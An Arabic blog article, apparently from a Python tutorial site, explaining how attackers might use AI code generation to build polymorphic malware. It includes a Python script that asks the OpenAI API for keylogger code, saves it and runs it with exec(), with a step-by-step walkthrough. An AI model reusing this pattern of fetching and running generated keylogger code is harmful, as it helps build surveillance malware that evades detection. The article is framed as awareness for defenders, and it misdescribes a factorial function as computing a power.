البرامج الضارة متعددة الأشكال باستخدام AI

في عالم الأمن السيبراني تسعى الجهات الخبيثة باستمرار إلى إيجاد طرق جديدة لاختراق أنظمة الكمبيوتر وإحداث الفوضى واستغلال نقاط الضعف. كما تعد البرمجيات الخبيثة متعددة الأشكال من أكثر أدواتهم غدرًا ، وهي تهديد متغير الشكل يتحدى آليات الدفاع التقليدية ويشكل تحديًا هائلاً للمنظمات والأفراد على حدٍ سواء.

في هذه المقالة سنتكلم عن كيفية قيام المهاجمين بإساءة استخدام الذكاء الاصطناعي من أجل تعزيز قدراتهم الإجرامية.

البرمجيات الخبيثة متعددة الأشكال هي فئة معقدة من البرامج الضارة المصممة لتغيير كودها مع الحفاظ على وظائفها الأساسية، و يتحقق ذلك من خلال استخدام تقنيات التشويش المختلفة التي تغير مظهره مع كل تكرار ، مما يجعل الاكتشاف والتحليل مهمة شاقة حتى بالنسبة لأنظمة الأمان الأكثر تقدمًا.

الهدف الأساسي من البرامج الضارة متعددة الأشكال هو عدم اكتشافها أثناء مرحلة الإصابة الأولية والتهرب باستمرار من التدابير الأمنية اللاحقة. من خلال تغيير كودها وسلوكها باستمرار ، يمكنها بشكل فعال خداع الحلول الأمنية ، وإطالة بقائها داخل النظام المستهدف ، وإنشاء موطئ قدم لتنفيذ أنشطة ضارة مثل سرقة البيانات ، أو التحكم عن بعد ، أو شن المزيد من الهجمات.

لتحقيق إمكانات تغيير الشكل ، تستخدم البرامج الضارة متعددة الأشكال مجموعة من التقنيات ، بما في ذلك التشفير والتعتيم على الكود والتعديل الذاتي والعشوائية.

يستخدم التشفير بشكل شائع لتشفير الحمولة الأساسية مما يجعل من الصعب على حلول الأمان تحليل أو تحديد الشفرة الخبيثة الأساسية، كما تعمل تقنيات إخفاء التعليمات البرمجية مثل إعادة ترتيب التعليمات أو إدراج تعليمات لا معنى لها على زيادة تعقيد عملية التحليل من خلال إنشاء إصدارات متعددة من البرامج الضارة تحقق جميعها نفس النتيجة.

الذكاء الاصطناعي وكتابة الكود

كانت البرمجة هي المجال الحصري للمبرمجين الذين قاموا بصياغة أسطر من التعليمات البرمجية بعناية لإضفاء الحيوية على تطبيقات البرامج، ومع ظهور الذكاء الاصطناعي مرت عملية كتابة الكود بتطور عميق من خلال الاستفادة من قوة التعلم العميق والشبكات العصبية، حيث يمكن لنماذج الذكاء الاصطناعي الآن تحليل كميات هائلة من التعليمات البرمجية الحالية وإنشاء كود وظيفي جديد يعرض نفس المنطق والبنية التي كتبها البشر.

يكمن أحد المبادئ الأساسية وراء قدرة الذكاء الاصطناعي على كتابة التعليمات البرمجية في قدرتها على فهم الأنماط والمنطق والبنية ضمن قواعد الأكواد الموجودة، و من خلال التدرب على مستودعات ضخمة من التعليمات البرمجية مفتوحة المصدر ، يمكن لنماذج الذكاء الاصطناعي أن تتعلم التعرف على البنية الأساسية والأسلوب الذي يميز الكود الذي يكتبه الإنسان وتقليده.

و لتوضيح قوة الذكاء الاصطناعي في كتابة التعليمات البرمجية دعنا نفكر في مثال بسيط، تخيل أننا نريد إنشاء دالة بايثون تحسب قوة رقم معين، تقليديا كان المبرمج البشري يكتب دالة مثل هذا:

def factorial(n):
    if n == 0:
        return 1
    else:
        return n * factorial(n-1)

الآن دعنا نلاحظ كيف يمكن للذكاء الاصطناعي إنشاء دالة مماثلة:

def factorial(n):
    result = 1
    while n > 0:
        result *= n
        n -= 1
    return result

في هذا المثال تعلم نموذج الذكاء الاصطناعي بنجاح مفهوم دالة العوامل وتنفيذها التكراري، في حين أن الكود الذي تم إنشاؤه قد يختلف قليلاً عن الكود المكتوب من قبل الإنسان، فإن المنطق والسلوك الأساسيين يظلان على حالهما.

الكود متعدد الأشكال بواسطة الذكاء الإصطناعي

إن الجمع بين تعدد الأشكال وإمكانيات إنشاء الكود للذكاء الاصطناعي يفتح إمكانية إنشاء برامج ضارة شديدة المراوغة، ألق نظرة على الكود التالي لفهم هذا المفهوم بشكل أفضل.

تخيل برنامجًا ضار يصل إلى المجالات ذات السمعة الطيبة والمعروفة بتقديم ذكاء إصطناعي مثل openai.com أو google.com ويطلب إنشاء دوال محددة في تعليمات برمجية جيدة التكوين.

يمكن للبرامج الضارة استيراد الشيفرة التي تم إنشاؤها باستخدام وظائف الانعكاس أو التحميل الديناميكي، و يضمن هذا الأسلوب إنشاء التعليمات البرمجية الضارة تلقائيًا حيث لا يتواجد داخل الأداة المصابة نفسها، مما يجعلها غير قابلة للكشف تقريبًا بواسطة الأنظمة الدفاعية التقليدية.

و من خلال الاستفادة من هذه التقنية تكتسب البرامج الضارة مستوى من الشفافية بتجنب الاكتشاف وتشكل تحديًا كبيرًا للإجراءات الأمنية، و سيكون الكود الأكثر وضوحًا هو الكود التالي :

import openai
import keyboard

# Set up your OpenAI API credentials
openai.api_key = 'YOUR_API_KEY'

# Function to generate the keylogger code using OpenAI API
def generate_keylogger_code():
    prompt = "import keyboard\n\nkeyboard.on_press(lambda event: print(event.name))\nkeyboard.wait()"

    response = openai.Completion.create(
        engine='davinci-codex',
        prompt=prompt,
        max_tokens=100,
        n=1,
        stop=None,
        temperature=0.7
    )

    return response.choices[0].text.strip()

# Generate the keylogger code using OpenAI API
keylogger_code = generate_keylogger_code()

# Save the code to a file
with open('keylogger.py', 'w') as file:
    file.write(keylogger_code)

# Run the keylogger code
exec(keylogger_code)

في هذه الحالة يستفيد المهاجم من قوة نموذج GPT-3.5 الخاص بـ OpenAI، وتحديداً محرك davinci-codex ، لإنشاء كود keylogger، و هو برنامج يسجل ضغطات المفاتيح على جهاز الكمبيوتر والذي يمكن أن يكون مفيدًا لأغراض مختلفة مثل المراقبة أو تصحيح الأخطاء.

سننتقل خطوة بخطوة ونوضح كيفية عمل كل مكون.

إعداد بيانات اعتماد OpenAI API: قبل الغوص في الكود تأكد من أن بيانات اعتماد OpenAI API جاهزة حيث ستحتاج إلى مفتاح API لمصادقة طلباتك إلى OpenAI API.

استبدل “YOUR_API_KEY” بمفتاح API الخاص بك.

إنشاء كود Keylogger : يكمن قلب هذا الكود في وظيفة  generate_keylogger_code() وهي تستخدم واجهة OpenAI API لإنشاء كود keylogger .

الموجه في هذه الحالة هو مقتطف الكود الأساسي يستخدم مكتبة لوحة المفاتيح لالتقاط ضغطات المفاتيح وطباعتها على وحدة التحكم، ترسل الدالة هذه المطالبة إلى OpenAI API وتسترجع  Completion  ، وهو رمز keylogger الذي تم إنشاؤه.

لاستخدام OpenAI API نقوم بإنشاء كائن  Completion  عن طريق استدعاء  openai.Completion.create().

نحدد engine  باسم “davinci-codex” ، وهو نموذج اللغة الذي نريد استخدامه.

تحتوي  prompt  على مقتطف الشفرة لإنشاء رمز keylogger، كما تتحكم المعلمات الأخرى ، مثل  max_tokens  و temperature ، في الطول والعشوائية للإنجاز المتولد.

حفظ كود Keylogger: بمجرد حصولنا على كود keylogger نقوم بحفظه في ملف يسمى 'keylogger.py'  باستخدام تعليمة with  وطريقة write() . تسمح لنا هذه الخطوة بتخزين الكود الذي تم إنشاؤه لاستخدامه أو تعديله لاحقًا.

تشغيل برنامج Keylogger: الخطوة الأخيرة هي تنفيذ كود keylogger الذي تم إنشاؤه باستخدام وظيفة exec() و يؤدي هذا إلى تشغيل الكود داخل بيئة Python الحالية مما يؤدي إلى تنشيط وظيفة keylogger.

في الختام نقول إن استخدام الكود للذكاء الاصطناعي يُمكّن المهاجمين من تعزيز كفاءتهم وسرعتهم في صياغة تعليمات برمجية مراوغة سريعة وأكثر تعقيدًا، و تشكل هذه القوة المكتشفة حديثًا تحديات كبيرة في مجال الأمن السيبراني.

من الأهمية أن يظل المدافعون في الطليعة من خلال التعزيز المستمر لاستراتيجياتهم الدفاعية واعتماد تقنيات متقدمة للتخفيف من مشهد التهديد المتطور الذي تشكله التعليمات البرمجية الخبيثة المدفوعة بالذكاء الاصطناعي.

كما تعتبر اليقظة والتدابير الاستباقية والبحث والتطوير المستمر أمرًا ضروريًا لحماية الأنظمة والبيانات الهامة من المخاطر المتصاعدة التي تسببها الهجمات التي تدعم الذكاء الاصطناعي.


اكتشاف المزيد من بايثون العربي

اشترك للحصول على أحدث التدوينات المرسلة إلى بريدك الإلكتروني.

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

Scroll to Top

اكتشاف المزيد من بايثون العربي

اشترك الآن للاستمرار في القراءة والحصول على حق الوصول إلى الأرشيف الكامل.

Continue reading